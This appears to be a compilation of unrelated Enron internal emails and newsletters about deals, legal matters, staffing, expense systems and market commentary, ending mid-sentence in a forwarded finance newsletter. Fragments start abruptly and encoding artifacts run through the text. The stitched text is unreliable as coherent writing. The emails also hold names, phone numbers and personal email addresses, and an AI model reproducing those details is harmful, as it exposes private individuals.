Ketra Schmitt:  September 18, 19, 20  (Model structure)
John Wirick: October 23, 24, 25   (Model test and interface basics)
Jake Norment: November 6, 7, 8   (Interface refinement)

We understand that we should fly into Houston International and stay at
either the Hyatt Downtown or the Doubletree to be near the Enron office at
1400 Smith Street.

Looking forward to an interesting and successful project.

John P. Wirick, Jr.
ext. 4910

dissemination or other use of, or taking of any action in
reliance upon, this information by persons or entities other than the
intended recipient is prohibited.   If you received this in error, please
contact the sender and delete the material from any computer.

Aneela, could you call the business folks on the other side re: the following 
brokerage agreements to find out if they could give their lawyers some gentle 
reminders about returning legal comments to us:

 - Simmons

 - JP Morgan - Electronic Trading Agreement

-  Frost Securities

There may be others but these  come to mind immediately.

Also, it would not hurt to have the business person at Robertson Stephens 
contacted to indicated that the lawyers reached an agreement on the terms but 
we are waiting for Alberto Delgadillo to send back a final version for 
signature and to find out when this is going to be done.

Thanx.

Cheryl Nelson
EB3880D
(713) 345-4693

Does this mean you get bigger cushioned chairs?
---------------------- Forwarded by Richard B Sanders/HOU/ECT on 05/27/99 
06:09 PM ---------------------------
   
	From:  ECT General Announcement                           05/27/99 05:59 PM
	
To: All ECT Users
cc:  
Subject: Kristina Mordaunt Promotion

To:  All ECT Employees

From:  Mark Haedicke

 I am pleased to announce that Kristina Mordaunt has been promoted to Vice 
President and General Counsel, Structured Finance for ECT.

 Kristina joined ECT in 1993 from the Houston law firm of Butler & Binion 
where she specialized in public finance, project finance and asset 
securitized transactions.  Since 1996 she has held the position of Vice 
President and Assistant General Counsel with primary responsibility for the 
legal matters associated with structured finance transactions including off 
balance sheet funding vehicles, structured prepays, monetizations of existing 
assets and financing for acquisitions.

 Please join me in congratulating Kristina on her promotion.

forgot to copy you
---------------------- Forwarded by Rhonda L Denton/HOU/ECT on 03/01/2001 
09:31 AM ---------------------------

03/01/2001 09:30 AM
To: Mark Guzman/PDX/ECT@ECT
cc:  
Subject: Deal No. 534624

I have changed this deal to Sempra Energy Trading Corp. from Sempra Energy 
Resources.  Please select Trading Corp. for all physical power deals.

PLEASE DO NOT RESPOND TO THIS E-MAIL--THIS ACCOUNT IS NOT MONITORED

AP User:

Attached is/are the payment proposal(s) for your business unit.  Please review and forward to your approver(s)/CAO.

Thank you.
SAP AP Team
 - 20020116-DENWE.XLS 

Now that two settlement proposals and a motion to extend time have been 
filed, there is no telling what the CPUC will do.  My recommendation is that 
we play it safe and assume we will need to file testimony on April 17.  To 
that end, it's time to review some basics.

In its July 8, 1999 decision, the Commission stated:  "We see reason to 
pursue a change in protocol for receiving gas at Hector Road, even in the 
short term.  If there are burdens that would unfairly fall upon Transwestern 
customers is a window was established at Hector Road, we want to hear about 
it in the next phase of the proceeding.  In addition, we seek specific 
proposals as to how such an arrangement should be defined."

Accordingly, the testimony we file should explain:

1.  The unfair harm that could potentially befall TW customers if Hector Road 
were established as a formal receipt point
2.   Our proposal for making Hector a formal receipt point by establishing 
primary and secondary receipt points
3.  Why our proposal is fair and consistent with Commission policy (here we 
might want to draw analogies to the interstate system and explain why that 
works)

I will also have an opportunity to make legal and policy arguments in a brief 
after testimony has been filed.

Let's discuss how best to go about drafting the testimony.  I think the best 
thing to do would be to outline the testimony, then decide who is going to 
say what.  I'm available after about 2:00 today.
 
---------------------- Forwarded by Errol McLaughlin/Corp/Enron on 11/03/20=
00=20
01:47 PM ---------------------------
  =20
=09
=09
=09From:  ENA Public Relations                           11/02/2000 11:19 P=
M
=09

To: All_ENA_EGM_EIM
cc: =20

Subject: Ameriflash Newsletter

Oil Products
The Oil Products Group executed a 1 year physical transaction, whereby Enro=
n=20
supplies Delta Airlines 100,000 barrels/month for one year beginning in =20
November of 2000, for a total of 1.2 million barrels.

Weather
On December 6 at 7pm, the Weather Channel will run a 15 minute special=20
interest story on Weather Derivative trading.  Approximately 8 minutes of=
=20
this telecast will focus on the Enron Weather Risk Management group, led by=
=20
Mark Tawney, director. In September, a film crew spent two days recording t=
he=20
group's activities and interviewing Mark Tawney; Steven Vu, head of trading=
;=20
Gary Taylor, head of marketing; and Brando Hayden, trader.  Efforts to=20
publicize Enron's leading position in the Weather Risk marketplace have=20
included this television show, the Enron Corp commercial focused on weather=
=20
risk management, and several articles written by members of the Enron Weath=
er=20
Trading group.  What's next?  Enron Weather: the Movie - coming soon to=20
theatres near you!

infrastructure solutions, announced the closing of a $20 million round of=
=20
=20
pe=20
=20

Energy Capital Resources
Westwin Energy, LLC, a privately held oil and gas exploration and productio=
n=20
company based in Midland, has been formed by the former management team of=
=20
ARCO Permian.  Along with the company=01,s formation, Westwin announced its=
=20
financial partner, which is Enron North America.  Westwin Energy will focus=
=20
on drilling opportunities and select acquisitions in the Permian Basin of=
=20
West Texas and Southeast New Mexico.

Enron Industrial Markets Fundamentals Analysis
Following the example of other Enron entities, Enron Industrial Markets has=
=20
established a Fundamentals Analysis Group.  Under the direction of Andrea=
=20
Reed, the group is similar to the others, with the objective of providing=
=20
market, industry, and regulatory information and identifying potential=20
commercial opportunities for originators and traders.  Doug Moreno and Caro=
l=20
Marshall are the information experts.   They are presently working to=20
aggregate all of Enron=01,s various resources into a library and a website=
=20
(coming soon at http://eimfundy.dev.corp.enron.com/).  Jennifer Riley is th=
e=20
quantitative analyst, and has already analyzed a number of statistical=20
relationships for the business entities to identify possible hedging=20
strategies.  Peggy Determeyer (steel) and Karen Carter (paper/pulp and=20
lumber) will be providing analytical services to the two primary product=20
lines. Tammy Davis keeps them all organized with terrific administrative=20
support.  Doug, Jennifer, Tammy, and Carol have followed Andrea from her=20
previous Merchant Asset Portfolio Management assignment, while Peggy and=20
Karen have joined from Enron South America and Enron North America,=20
respectively.  If you have any ideas for critical analyses or information=
=20
needs, contact one of them for help.=20

Foreign Exchange (FX) and Sovereign Risk (ENA Research Group)=20
In last week=01,s Ameriflash newsletter, we introduced you to the Country R=
isk=20
and Foreign Exchange (FX) Department within the ENA Research Group, which=
=20
included our responsibilities and some of the products we have developed fo=
r=20
Enron various business units. This week we would like to introduce you to t=
he=20
members of our group, Maureen Raymond-Casta=0Feda, Gwyn Koepke, Yana Krista=
l,=20
and Leann Walton.

Maureen Raymond-Casta=0Feda heads the Country Risk and Foreign Exchange tea=
m,=20
reporting to Vince Kaminski.  Maureen is Enron=01,s Chief Economist and is=
=20
responsible for corporate sovereign risk and economic analysis, briefing th=
e=20
FX trading desk on major central bank policies, forecasting all FX and=20
revenue escalators corporate-wide for 60 countries, and advising Enron=01,s=
=20
underwriters and the Chief Credit Officer.  As Enron changes its business=
=20
objectives, our group serves these objectives through our analysis. For=20
example, we provide research and analysis services to the steel fundamental=
=20
analysis group as well as to the non-ferrous metals group in London.  Gwyn=
=20
Koepke is an Associate and is responsible for conducting economic analysis=
=20
for all FX and inflation curves produced by the group as well as writing=20
country briefs for the various Enron business units.  Yana Kristal is an=20
analyst who gathers country research and prepares Excel charts.  Leann Walt=
on=20
is the team=01,s newest member and provides all administrative and research=
=20
support.=20

As a reminder, the Country Risk and FX team launched a new product in Octob=
er=20
called the Enron =01&Global Markets Monitor,=018 which informs traders and=
=20
management about important international economic events and their impact o=
n=20
currency and financial markets. If you would like to receive the Monitor on=
 a=20
weekly basis via email, please send a note to Leann Walton.  Or, you can=20
obtain the Global Markets Monitor from our web site at:
http://ecthouwebcl1.nt.ect.enron.com/research/ForeignExchange/FXMain.htm
(look for the spinning New sign) =01) Please add this to your bookmarks or=
=20
favorites.

FINAL RESULTS FOR THE PULSE

Thanks to all who participated in Enron's annual employee survey.  The tota=
l=20
participation rate for ENA/EGM/EIM was 68.90%, which was an increase of=20
almost 20% from last year.  Additionally, we beat the Enron Corp. average=
=20
68.90% to 68.87%.  Some might say that this is statistically insignificant,=
=20
but we prefer to point out that a win is a win!

WELCOME

New Hires
ENA- Doglas Allen, Brooks Barnes, Angela Cadena, Reno Casimir, Amelia=20
Cavazos, Jane Coleman, Andrea Dahlke, Susan Entman, Kulvinder Fowler, Krist=
i=20
Fredericks, Tammy Gilmore, Lori Haney, Brandee Jackson, Janine Kattner,=20
Brenna Neves, Vivian Nguyen, Dexter Peoples, Erica Rodriguez, Patricia Room=
e,=20
Dayna Smith, Stephanie Wainwright, Ellen Wallumrod, Deanna Washington,=20
Gregory Whitman

EGM- Mario De la Ossa, Stephanie Harris

IN THE NEWS

FORTUNE, November 13, 2000, Page 80
Beware: You Could Soon Be Selling Soybeans Make your products stand out =01=
)=20
fast =01) before someone turns it into a commodity.
"=01(What=01,s next? Fortune says you can run a reverse auction anytime you=
 can do=20
two things: specify exactly what you want and identify several bidders you=
=20
deem qualified to fight for the business. Let your imagination roam. At Enr=
on=20
they never stop thinking about new products and services for which they can=
=20
make markets. First gas and electricity, now bandwidth, ocean shipping,=20
paper, and much else."

Internet Week, October 30, 2000
"Enron doesn't just make markets; it assaults them."

=01&Results not reasons=018 =01) Craig Breslau, VP/Industrial Middle Market=
s-ENA

"Okay, here's the deal..."  - Jean Mrha Beach, VP/Upstream Origination-ENA

LAST WEEK'S TEASER

Question
In your cellar there are three light switches in the OFF position. Each=20
switch controls 1 of 3 light bulbs on the floor above.  You may move any of=
=20
the switches but you may only go upstairs to inspect the bulbs one time.  H=
ow=20
can you determine the switch for each bulb with one inspection?

Answer
Turn switch one on for a while=01(then turn it off.  Turn switch two on, go=
=20
upstairs to inspect.  The hot bulb is controlled by switch one, the lit bul=
b=20
is controlled by switch two. The unlit bulb is controlled by switch three.

CONGRATULATIONS to our winners: Richard McKeel, Jim Sugrue, Ed Hearn, Rhond=
a=20
Denton, Mark Breese, Benjamin Thomason, Gil Muhl, Corey Hollander, James=20
Haden, Stinson Gibner, Richard Zamora, Robert Stalford, John Gordon, Dan=20
Darland, Andre Templeman, Hector McLoughlin, Shelly Stubbs, Kelly Ellis,=20
Valter Stoiani, Dennis Lee, Paul Gregory, Rainer Cockrell, Regan Rorschach,=
=20
Bill Rust, Gerald Gilbert.

y=20
=20

Hi Joe,
Can you give me the wire transfer information which Centana will need,
i.e. routing and account nos?
Shemin

No, I didn't get any request for the books below.  Please send me the request form ASAP so I can set them up on our side.

Thanks,
Cecilia

From: 	Evans, Casey  
Sent:	Tuesday, February 05, 2002 6:30 PM
Cc:	Valdes, John; Vinson, Donald Wayne; Dahlke, Andrea; Lewis,  Jon Paul; White, Stacey W.
Subject:	RE: Revised East Power UBS Book Listing

We shouldn't have any other new books to be requested, but there are books that we've sent to John previously that I don't see on this list?!  They are as follows:

PWR-GAS-PJM
PWR-GAS-ST-PJM
PWR-GAS-ST-NY
PWR-GAS-LT-OPTA
PWR-GAS-LT-OPTB
PWR-GAS-ST-SE
PWR-GAS-LT-ERCT
PWR-GAS-ST-ERCT
PWR-GAS-ST-MW

Please let me know if you have any questions!
Thanks!
Casey

Sent:	Tuesday, February  5, 2002 6:15 PM
To:	Evans, Casey

FYI - Currently we have the following books set up in Tagg/Erms and if you have any other new books please email your request to John Valdes then we will set up the new books on our side.

166969	PWR-GAS-CALI	N	N	
166965	PWR-GAS-ERCOT	N	N	
166973	PWR-GAS-MGMT	N	N	
166963	PWR-GAS-MW	N	N	
166962	PWR-GAS-NE	N	N	
166967	PWR-GAS-NW	N	N	
166961	PWR-GAS-OPTION	N	N	
166964	PWR-GAS-SE	N	N	
166968	PWR-GAS-SW	N	N	
166966	PWR-GAS-WMGMT	N	N	

Thanks,
Cecilia

Sent:	Tuesday, January 29, 2002 11:54 AM
To:	Hare, Bill D.; Cheung, Cecilia; Smith, Will; Lee, Norman; Valdes, John
Cc:	White, Stacey W.; Lewis,  Jon Paul; Dahlke, Andrea
Subject:	Revised East Power UBS Book Listing

As a result of a number of UBS offer declines, the East Power book organization has several changes in comparison to the book list which was originally set up in GCP and other systems.  I am attaching a spreadsheet which details such changes for both the power books and gas books traded by our power traders.  Please do not hesitate to call me with ANY questions!!  

Thanks!
Casey Evans
3-4361

 << File: revised East Power Book List for UBS.xls >> 

I thought Bob's email was cute.  I asked him to get me our deals numbers for 
the El Paso assignment, and he sent me the following...
---------------------- Forwarded by Tana Jones/HOU/ECT on 02/04/2000 04:09 PM 

Bob Bowen
02/04/2000 03:58 PM
cc:  
Subject: El Paso assignment

Hope this one looks better than the first e-mail

Here are the EOL Number's         Most
                  Innovative 
El Paso # EOL #  Sitara#  TAGG # Zip Code Area Code Rank

I-212948 75240  150545  n/a  77002       713       1

I-212470 76566  151959  n/a  77002       713         1

I-212471 76807  152169  n/a  77002       713       1 

I-212744 77496  152682  n/a  77002       713       1

P/P-00539 78556  153867  N81009  77002       713       1

P/P00540 78567  153639  N81012  77002       713       1

I-212748 79134  154152  n/a  77002       713       1 

P/P-00541 80206  155119  N82642  77002       713       1

Sorry, I got carried away with numbers.

Here is latest draft of risk memo (STILL IN DRAFT FORM).   I faxed comments 
to you on dash.  Do you have any current info on deal status?

Thanks
Elizabeth
36349

Jeff, here is the list of managers and officers as it now stands.  Let me 
know what additional changes you want made and we will get all of them done.  
Mark
----- Forwarded by Mark E Haedicke/HOU/ECT on 05/18/2000 04:48 PM -----

	Deb Korkmas
	05/18/2000 04:34 PM
		 
		 cc: 
		 Subject: Enron Net Works LLC

Mark, as requested, here is the list of Managers and Officers for Enron Net 
Works LLC:

Managers:  James V. Derrick, Jr., Mark E. Haedicke, and Lawrence G. Whalley

Officers:

Lawrence G. Whalley, Chairman and Chief Executive Officer
Michael McConnell, President and Chief Operating Officer
Jay Fitzgerald, Managing Director
Mark E. Haedicke, Managing Director and General Counsel
Louise Kitchen, Managing Director
Robert J. Hermann, Managing Director and General Tax Counsel
Jeffrey McMahon, Managing Director, Chief Commercial Officer, and Treasurer
Greg Piper, Managing Director
Harry Arora, Vice President
Bruce Garner, Vice President
Jordan H. Mintz, Vice President and Tax Counsel
Elaine V. Overturf, Deputy Corporate Secretary
Kate B. Cole, Assistant Secretary
Denise A. Ernest, Assistant Secretary

Deb

We have a video conference call scheduled with Alliance's Minneapolis office on Friday afternoon at 1:30 p.m.Houston time from our Board Room.  Allliance owned 3 MM ENE shares at 9/30/00, accumulated up to a balance of 18 MM shares by 3/31/01and now owns 19.8 MM shares.  

A few thoughts on the session:
Attendees - Expect broad range of ENE knowledge, from the CIO and Dan Nordby (Sr. PM-Large Cap, attended the recent NYC meeting) who both own the stock to novices 
Format - 10-15 minute overview geared to those who do not know Enron, followed by Q&A 
Specific areas of interest:
Risk management systems, process and limits
Capital allocation and in-house management of return on capital
Cash flow 
Deposit activity
Historic lumpiness 
Insider sales 
Outlook for both profit and volume growth if pricing becomes less volatile 

They will have copies of the recent analyst presentation as well for reference.  I look forward to seeing you Friday.  Paula

thanks for your help - and, i hate to revisit this again, but can you send me 
a current list of the counterparties that have access to the blanco 
restricted product.  i am still getting complaints from people who should 
have access, but they are telling me that they do not.  thank you.

To my knowledge that capacity is still valid.  It's one of Connie Moody's leftover contracts for 117 dth.  

Ruth, I had asked George Linder? at Nat Fule about Nat Fuel taking this capacity back or at least including it in an open season several times.  He never did anything with it.

From: 	Wynne, Rita  
Sent:	Wednesday, May 01, 2002 8:59 AM
Subject:	RE: National Fuel Capacity

Chris,

there is also a demand fee of $714.14 that we pay on contract F01978 on National Fuel.  Is that still a valid charge.  The deal number is 1190921.  We are still accruing charges for 2002 on that deal.  Please advise.

Thanks,
Rita

Sent:	Thursday, April 11, 2002 1:47 PM
To:	Garza, Maria; Greif, Donna; Wynne, Rita; Dinari, Sabra L.; Concannon, Ruth; Germany, Chris
Subject:	National Fuel Capacity

Per John Maybray (716-827-2385) at National Fuel, the following capacity was recalled effective 1/1/02.

Pipe	Contract		MDQ	End Term	Sitara		Comment
NFUL	B00693-038181		9,005	10/31/02	1190912	Recalled effective 1/1/02.  I adjusted the deal in sitara.

I know that this is a difficult time for all of us.  With everything going on inside the company as well as in the world around us, we have been carefully considering whether a holiday celebration is appropriate this year.  To be honest, employee feedback has been mixed.  Many viewed the holiday party as a unique opportunity for us to come together as Enron employees to share the spirit of the season.  Others felt a holiday party would be improper given the company's current circumstances.

After weighing these points of view, we have ultimately decided to cancel the all-Enron holiday party that was scheduled for December 8.  Given what has transpired over the past month, it could be considered imprudent for Enron to incur the expense of such an event.  I regret that this action is necessary because I recognize that your hard work throughout the year merits a holiday celebration and so much more.  We will attempt to find other, more appropriate ways to recognize your outstanding contributions as we move into the holiday season.

Ken Lay

----- Forwarded by Steven J Kean/NA/Enron on 11/07/2000 01:25 PM -----

	Jane Wilson@ENRON_DEVELOPMENT
	11/06/2000 02:38 AM
		 
		 cc: 
		 Subject: More

Sorry to bring more to you but perhaps this is something that Rob Walls could 
easily look through.  Global has a contract that is ready for signing.  
Global is involved as an investor in Razorfinish.com.  The person who is 
supposed to sign the contract is procrastinating as long as possible bec ause 
the contract is not in the interest of Enron.  I told the person not to sign 
it regardless of the pressure from Sanjay.  Hopefully, Rob could get to it.

pls print.  thanks df
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 11/01/2000 
11:08 AM ---------------------------

Tony Pryor
11/01/2000 10:43 AM
To: Dale Neuner/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Shelley 
Corman/ET&S/Enron@ENRON, Drew Fossum/ET&S/Enron@ENRON
cc: Frazier King/FGT/Enron@ENRON 

Subject: EOL Policy

Attached for your review and comment is a draft of a policy to be distributed 
to EOL/ENA employees. While the policy may seem over-restrictive, the fact 
basis upon which the policy is based is that the activities identified in the 
policy are currently performed by ENA employees. Of course, we still need to 
talk about this issue.

---------------------- Forwarded by Raymond Yeow/ENRON_DEVELOPMENT on 
07/14/2000 08:23 AM ---------------------------

"Chris Strickland" <chris@lacima.co.uk> on 07/14/2000 05:01:12 AM
To: "Shane Dallmann" <Shane.Dallmann@enron.com>
cc: "Julie" <julie@lacima.co.uk>, "Les" <Les@lacima.co.uk>, "Raymond Yeow" 
<Raymond.Yeow@enron.com>, "Paul Quilkey" <Paul.Quilkey@enron.com> 

Subject: run a 2day course - UTS on weather derivatives - first w/e Sept

Hi Shane,

Thanks for your e-mail. We actually sent the 9 of the 11 chapters off to the
typesetter today and I will forward you our word documents in the morning.

I've been travelling a lot to the UK at the moment and so haven't spent much
time with the student myself. Are you going to te energy confernece next
week, perhaps we can meet up there?

Good to hear about the weather. We are actually going to run a two day
course thru UTS on weather derivatives the first weekend of September. Feel
free to tell your potential clients about it if you think it will bring up
the industry knowledge. Maybe we can associate your name with the course
somehow which might help both of us?

C.

From: Shane Dallmann <Shane.Dallmann@enron.com>
To: <chris_strickland@compuserve.com>
Cc: Paul Quilkey <Paul.Quilkey@enron.com>; Raymond Yeow
<Raymond.Yeow@enron.com>
Sent: Thursday, July 13, 2000 1:56 PM

>
>
>
> Chris,
>
> How are things going? I see that you are presenting at Australian Energy
Risk
> 2000 along with Vince Kaminski who will be out from the US
>
> I was wondering how the book is going and whether we're likely to get a
copy
> (just notes would do) any time soon. Or are you still waiting on those
slack
> Enron people to finish it? (maybe you can corner him while he's here). If
I
> remember correctly from when you were here, you were going to give us a
copy of
> the notes and then we were going to sit down and decide what exactly we
wanted
> you to cover in an in-house course.
>
> Paul also told me about a student of yours that was going to get in touch
with
> me but I have not heard anything yet.
>
> Enron Australia is also going to launch Weather in the next couple of
weeks and
> would like to invite you and Les along, so can you send me an address we
can
> send invitations to if you're interested.
>
> Regards,
>
> Shane
>
>

(Embedded image moved to file: pic19895.pcx)            Concur Expense
(XMS) Upgrade!

   On July 2, 2001, Enron's Corporate Expense Management Solution will
   undergo an upgrade to version 6.0.2.
   The Integrated Solution Center (ISC) has developed a transition plan
   containing several important deadlines affecting
   all XMS users.

                                    Transition Schedule

   Important Date #1 - Monday, June 18th

   ? American Express transactions will no longer be loaded into the
     current XMS system starting June 18th.  Beginning June 18th, all AMEX
     transactions will be loaded into the new Concur Expense (XMS) system.

   ?       Beginning June 18th, the ISC will be solely responsible for
   adding new users to the current XMS system.  On July 2nd, new users
   created in SAP HR will be   automatically loaded into the new Concur
   Expense (XMS) system.

   Important Date #2 - Wednesday, June 27th
   ?  This marks the deadline for entering new expense reports into the
   current XMS system.  All open expense reports in XMS must be submitted
   and approved      by June 27th.  All users will be locked out of XMS
   after this date!!

   Important Date #3 - Monday, July 2nd
   ? The new version of Concur Expense (XMS ver. 6.0.2) goes LIVE!!!

   For a list of frequently asked questions (FAQ), please click on the
   following link:  http://isc.enron.com/site/xmsfaqs.htm

   If you have any other questions on any of the above items, please
   contact the ISC Call Center at 713-345-4727.
 - pic19895.pcx

Attached are the year 2000 usage/volume numbers for experienceENRON.  Please 
review and let me know your feedback and if you would like to see this 
information reported differently.

Thank you.
Carrie

Dave:
I will check with Tana on this and yes, she will handle the notifications.
Carol

	06/12/2000 09:23 AM
		 
		 cc: 
		 Subject: Terminations number

Carol,

It looks like we may have to change the Houston terminations phone number. 
Can you tell me how many customers will be affected?

I will forward a new number once known (probably later this week). Will Tana 
be handling the change notification?

Dave

Thanks Darryl...  You da man!
---------------------- Forwarded by David Roensch/ET&S/Enron on 01/29/2002 05:13 PM ---------------------------

Team San-Juan
01/29/2002 03:38 PM
To:	David Roensch/ET&S/Enron@Enron, Team San-Juan-LaPlata/ET&S/Enron, Jeff Greider/ET&S/Enron@ENRON, Lawrence Foutz/ET&S/Enron@Enron, David Ferrer/ET&S/Enron@ENRON
cc:	 

Subject:	Things have changed

Tiny

Things have changed up here in the promise land. After talking to Darrell S.  Jerry G.and Larry H. we decided
to have La Plata outage on April 2,3,4 th a total outage with no -flow, Bloomfield April 8,9,10,th Total outage 600 flow.
And Bisti  going down on April the 12th for 24hrs. The Team will get together and decide if and who we like for 
support help. Thanks Team San Juan

Bill: 
We had to wait until ANR completed their Cash Out Prices for November.   It 
was finally  posted in GEMS ANR's system and we will now enter it into system 
in order for you to get payment.    Tom Donohoe agrees to pay gas daily up to 
our imbalance which is 35,613 MM and ANR's Cash Out price for any volume over 
that.   We also had to wait a few days after the end of the month to get a 
correct allocation for the well; ANR is about 2 days behind on any given 
day.  
Thanks,
Mark

Please see the attached summary of the captioned session.  The positions of the speakers, as well as those of the Commissioners, are summarized.  Should you require additional information on a specific topic, please don't hesitate to contact me.

Today it is $4.64 and I will be out on Monday thru Wednesday as well.  If you 
would like I will have someone else price this daily and continue to send 
it.  Or I will continue to send it on Thursday.

Gfesterv@cs.com on 12/01/2000 09:03:53 AM
To: Gary.W.Lamphier@enron.com
cc:  
Subject: Natural Gas Pricing

Good Morning Gary,

I will be out of the office today and all of next week so could you please
e-mail my home e-mail address as well as work with current pricing as you get
it?  My home e-mail is gfesterv@cs.com

Thanks.

Hi Kate, 

This deal needs to be researched.  Can you help looking into its origin?

Thanks,

Carla
---------------------- Forwarded by Carla Hoffman/PDX/ECT on 12/06/2000 11:38 

Niclas Egmar@EES
12/04/2000 09:39 AM
To: Carla Hoffman/PDX/ECT@ECT
cc:  
Subject: 11_11 correction VIP

---------------------- Forwarded by Niclas Egmar/HOU/EES on 12/04/2000 11:39 

Niclas Egmar
12/01/2000 03:30 PM
To: Phillip Platter/HOU/ECT@ECT, Chris Mallory/PDX/ECT@ECT
cc: Daniel Kang/HOU/EES@EES, Jennifer Johnson/HOU/EES@EES, Wayne 
Kimball/HOU/EES@EES, Jubran Whalan/HOU/EES@EES, Neil Bresnan/HOU/EES@EES 
Subject: 11_11 correction

I talked to Phil about a trade on  11/11/00  regarding 640 MW deal number 
456233.1 could you please send me  and Jennifer Johnson some more detail 
about this deal.
Is this an hour a head deal?
What hours are involved?

Thanks alot

Niclas

During the budgeting process for 2001 I gave Dave Delainey an estimated cost 
savings for Energy Operations assuming the sale of HPL. Since this is clearly 
on the horizon, we need to take a close look at opportunities for cost 
savings and our estimated timing on those savings.  I will ask James by copy 
of this memo to set up a meeting late this week to cover this.  I want to be 
able to get back with Dave with more detailed estimates of cost savings.  

---------------------- Forwarded by Robin Rodrigue/HOU/ECT on 08/08/2000 
   Alicia Perkins                08/08/2000 05:00 PM

To: Robin Rodrigue/HOU/ECT@ECT, Rahmaan Mwongozi/Corp/Enron@ENRON
cc:  
Subject: MKT EAST

MKT EAST IS OFFICIAL

Please see position description for UBS in Volume Management reporting to Scotty Gilbert.  

ENA HR
x7404
x8321

From: 	Fitzpatrick, Amy  
Sent:	Tuesday, March 26, 2002 2:40 PM
To:	Kearney, Julie
Subject:	Available Position - West Power Volume Management

Julie -

Can you please forward to the Enron folks?

Thanks!
Amy 

A position has recently become available in West Power Volume Management reporting to Scotty Gilbert.  If you are interested in this position, please let Amy FitzPatrick know by close of business Thursday, March 28, 2002.

Job Description

Primary Responsibilities
Ensure Public Market Information (PMI) has been captured at an hourly level for each market.
Ensure controls are in place and validated daily to keep wholesale trading transactions in sync with the open access market scheduling transactions.
Generate a daily estimate of customer expenses and revenues based on customer level schedules for Generation, Load and Import / Exports.  These estimates are provided to Risk to be included in the West Desk daily P/L.  These estimates are then actualized on an average of 76 days following a trade day.  This is in accordance with the ISO / PX settlement protocol. (Settlement calendar) 
Consolidate meter data information for Load & Generation customer's and provide settlement ready information to ISO 

Secondary Responsibilities
Comparison of all EPMI estimated calculations to estimated and actual calculations by control areas, e.g. (ISO, PX?).  If variances exist the Volume Management group will dispute the charges and manage a dispute resolution process with the control area on behalf of our customers.
Provide to customers, detail settlement information to support hourly expenses and revenues incurred through their energy schedules.  There are roughly 30 different types of charges in existence in the current California market. 
Serves as a source of information back to trading and schedule regarding latest tariff and operational market changes and their impacts on our business.

Qualifications
Successful candidate will posses analytical and problem - solving skills adaptable to a fast paced intense environment.  Candidate will work with a number of customers both internal and external and should possess the ability to effectively communicate regarding complex topics.  Must be able to handle multiple tasks with precision and excellence.  Must be available to work unscheduled overtime as the workload dictates.

The Research Group:

It is with a deep sense of regret that I announce that Grant Masson will be
leaving the Research Group and Enron, effective today.

Grant has been a very important part of the Research Group's growth and
stability within Enron and he will be deeply missed.

We wish him the very best in his new venture and want to send him off with
all the "good" wishes and support that he deserves.  However, since I
will be out of town all next week,  we will postone the "Good Luck and
Best Wishes" party for Grant until sometime within the next 3 weeks.  An
announcement will be forthcoming at a later date.

Please take a minute to wish Grant the "Best".

Vince

=====================================================================
                            THE STANDARD'S
                          S T O C K  G R O K
             What Financial Reporters Think of Wall Street

For money & markets news, visit:
http://www.thestandard.com/subject/finance/

Friday, June 8, 2001

TOP GROKS:
* Microsoft Rolls On, and Over, the Media
* Trouble in the Dysfunctional Staples Family
* The Russell 3000 Is Changing - Why Do We Care?

PUNDITS SAY THE DARNDEST THINGS:
* David Simons, Forbes.com: You're not paying attention, Net
investors
* Ken Kurson, Esquire: When it comes to Cisco, are you in or out?

MORE NEWS:
* Oracle's Silence

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TOP GROKS
~~~~~~~~~
Microsoft Rolls On, and Over, the Media

Hear that whacking? It's the sound of Microsoft snipping back its
marketing budget. With press clips like Redmond's been getting, why
spend the money?

Microsoft's stock is up 60 percent this year, and the software giant
plans to roll out a string of new products, making Bill Gates a popular
cover boy for Fortune and Business Week. The only thing missing
from their reviews of his company's elaborate plans is scrutiny.

"Just about any software application on your PC and even on your cell
phone or PDA will tap directly into interactive services to make work
and life easier to manage," Fortune enthused, pointing out without the
slightest hint of irony that since there's no business model for the
subscription software services that Microsoft is drooling over,
Redmond will simply have to invent one.

Read the full Grok:
http://www.thestandard.com/article/0,1902,27035,00.html?nl=stg

Trouble in the Dysfunctional Staples Family

Despite the fact that shareholders, the media and now a Delaware
judge all agree that Staples has "issues," the company continues to
blissfully blab to the media that all is well in its humble home.

IPO rip-off stories are everywhere these days, as federal and state
agencies pick up the pace on investigating them, but it's not just the
investment bankers who are finding trouble for their greedy ways. As
Business Week reported last week, Walt Disney Internet Group, NBCi
and CSFBdirect all have caused a ruckus by boomeranging back to
their parents' homes, and the story of Staples.com is no different.

http://www.thestandard.com/article/0,1902,27034,00.html?nl=stg

The Russell 3000 Is Changing - Why Do We Care?

News flash: The preliminary report on the Russell 3000's annual
re-jiggering of its stock index comes out Friday at market close.
Reporters expect to witness a slew of pipsqueak dot-com stocks falling
out of the index, but for all the coverage the alleged event is getting,
they can't agree on whether it matters.

http://www.thestandard.com/article/0,1902,27037,00.html?nl=stg

PUNDITS SAY THE DARNDEST THINGS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
David Simons, Forbes.com

Upshot: You're not paying attention, Net investors.

Hello? Is Anyone Out There? First, e-mail marketer MessageMedia
sold itself to DoubleClick for $41 million in stock - a tidy 40 percent
premium over its May 31 closing price. Then MyPoints.com cozied up
with United Airlines for three times as much and a 63 percent
premium to its June 1 close. And yet, not a peep of enthusiasm from
Net investors or a budge upward in the stocks of similar dot-coms.

Sure, Now They Shut Up: "Analysts who still cover the Internet
direct-marketing outfits avoided calls seeking explanation for the
market yawn. Maybe the analysts are embarrassed. These stocks are
pipsqueaks that once were bubble Blutos."

Rip van Winkle.com: Stock market bulletin-board traffic about the
deals was remarkably light. Investors' "ennui about the recent deals
seems to reflect that they're just plain tuckered out."

Investors Shrug at Internet Buyout Deals
http://www.forbes.com/2001/06/06/0606simons.html

Ken Kurson, Esquire

Upshot: When it comes to Cisco, are you in or out?

Then Again, Maybe It's Just Foolhardy: Cisco Systems' positives are
that it has no debt and it's a leader in its markets. The fact that it's
sticking by its official prediction of between 30 percent and 50 percent
revenue growth going forward "is encouraging."

Inventories Are Fat But Not Happy: Everyone's got more of Cisco's
products than they need. That goes for its customers and Cisco's own
inventory levels. Then there are those holdings: In Q2, the company
lost $3.5 billion; in last year's Q2, it gained $1 billion. If, as Cisco says,
its holdings resemble the Nasdaq, and if the market continues to
deteriorate, Cisco will take a double hit.

Do You Believe? "If you told me last year that you'd sell me your $80
shares of Cisco for $16, I would have bought all I could. I still would.
A bet on Cisco is a signature on a contract that says, 'I believe in the
long-term future of the Internet as a vital and paradigm-changing
invention,' and I definitely believe that. No Internet-equipment
